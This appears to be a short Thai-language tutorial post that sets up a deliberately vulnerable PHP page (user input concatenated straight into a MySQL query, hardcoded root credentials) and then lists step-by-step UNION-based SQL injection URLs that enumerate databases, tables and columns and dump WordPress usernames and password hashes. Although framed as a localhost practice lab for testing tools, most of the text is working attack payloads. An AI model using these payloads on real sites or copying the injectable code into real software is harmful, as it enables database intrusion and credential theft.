เขียน PHP ให้บัค SQL Injection เพื่อทดสอบ Bot หรือ Tool ...

<?php

$link = mysql_connect("localhost", "root","1234")or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("test") or die("Could not select database");
$id = $_GET['id'];
$query = "SELECT id,user,pass FROM login where id = ".$id;
echo "<h3>Query : " . $query . "</h3>";
$result = mysql_query($query) or die("Query failed : " . mysql_error());
print "<table style='color:#ff0000' border='1'>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
 print "\t<tr>\n";
 foreach ($line as $col_value) {
  print "\t\t<td><b>$col_value</b></td>\n";
 }
 print "\t</tr>\n";
}
print "</table>\n";
mysql_free_result($result);
mysql_close($link);

?>

สร้าง DB ชื่อ test , Table ชื่อ login , Column ชื่อ id,user,pass ใส่ข้อมูล

เซฟลง localhost เรียกใช้ http://localhost/sqlibug.php?id=1

How To Manual SQL Injection.

http://localhost/sqlibug.php?id=1 => Victim
http://localhost/sqlibug.php?id=1' => Bug
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+1,2,3-- => Magic Number 1,2,3
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+database(),2,3-- => Current DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(schema_name),2,3+from+information_schema.schemata-- => Group DataBases
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(table_name),2,3+from+information_schema.tables+where+table_schema=database()-- => Table In Current DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(table_name),2,3+from+information_schema.tables+where+table_schema=0x776f72647072657373-- => Tables In Any DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(column_name),2,3+from+information_schema.columns+where+table_name=0x77705f7573657273+and+table_schema=0x776f72647072657373-- => Columns In Table In DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(id,0x3a,user_login,0x3a,user_pass),2,3+from+wordpress.wp_users-- => Dump Data In Columns